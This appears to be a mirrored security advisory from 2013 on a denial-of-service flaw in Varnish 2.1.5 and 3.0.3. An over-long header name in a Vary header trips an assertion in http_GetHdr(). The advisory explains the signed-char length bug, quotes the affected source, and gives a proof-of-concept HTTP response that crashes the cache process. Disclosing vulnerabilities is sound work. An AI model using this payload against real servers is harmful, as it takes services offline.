Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:29155
HistoryMar 11, 2013 - 12:00 a.m.

Varnish 2.1.5, 3.0.3 DoS in http_GetHdr() while parsing Vary header

2013-03-1100:00:00
vulners.com
66

##############################################

http_GetHdr() | (l == strlen(hdr + 1))

##############################################

Authors:

22733db72ab3ed94b5f8a1ffcde850251fe6f466

c8e74ebd8392fda4788179f9a02bb49337638e7b

AKAT-1

##############################################

Versions: 3.0.3, 2.1.5

Summary:

It's possible to crash Varnish (via assertion) if the single header within the Vary header is longer then 127 bytes.

The 'l' (cache_http.c#265) is the length of the given header name passed in a 'Vary' header and stored in the 'vsb' structure (vsb.h#39).
It's compared with the strlen() of the same header name in the diagnostic() call (cache_http.c#266), which is a macro to assert() (include/vas.h#68).
Because header name was stored in the 'vsb' as a signed char (cache_vary.c#98), the maximum value for 'l' is 127. If the header name is equal
or larger than this value (which is the case for strlen()), the assert() is called and the child is killed with the SIGABRT.

PoC (response)
– cut –
HTTP/1.1 200 foo
Vary: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

– cut –

varnish-3.0.3/bin/varnishd/cache_vary.c:
– cut –
95 /* Build a header-matching string out of it */
96 VSB_clear(sbh);
97 VSB_printf(sbh, "%c%.*s:%c",
98 (char)(1 + (q - p)), (int)(q - p), p, 0);
99 AZ(VSB_finish(sbh));
100
101 if (http_GetHdr(sp->http, VSB_data(sbh), &h)) {
– cut –

varnish-3.0.3/bin/varnishd/cache_http.c:
– cut –
260 http_GetHdr(const struct http *hp, const char *hdr, char **ptr)
261 {
262 unsigned u, l;
263 char *p;
264
265 l = hdr[0];
266 diagnostic(l == strlen(hdr + 1));
267 assert(hdr[l] == ':');
– cut –
EOF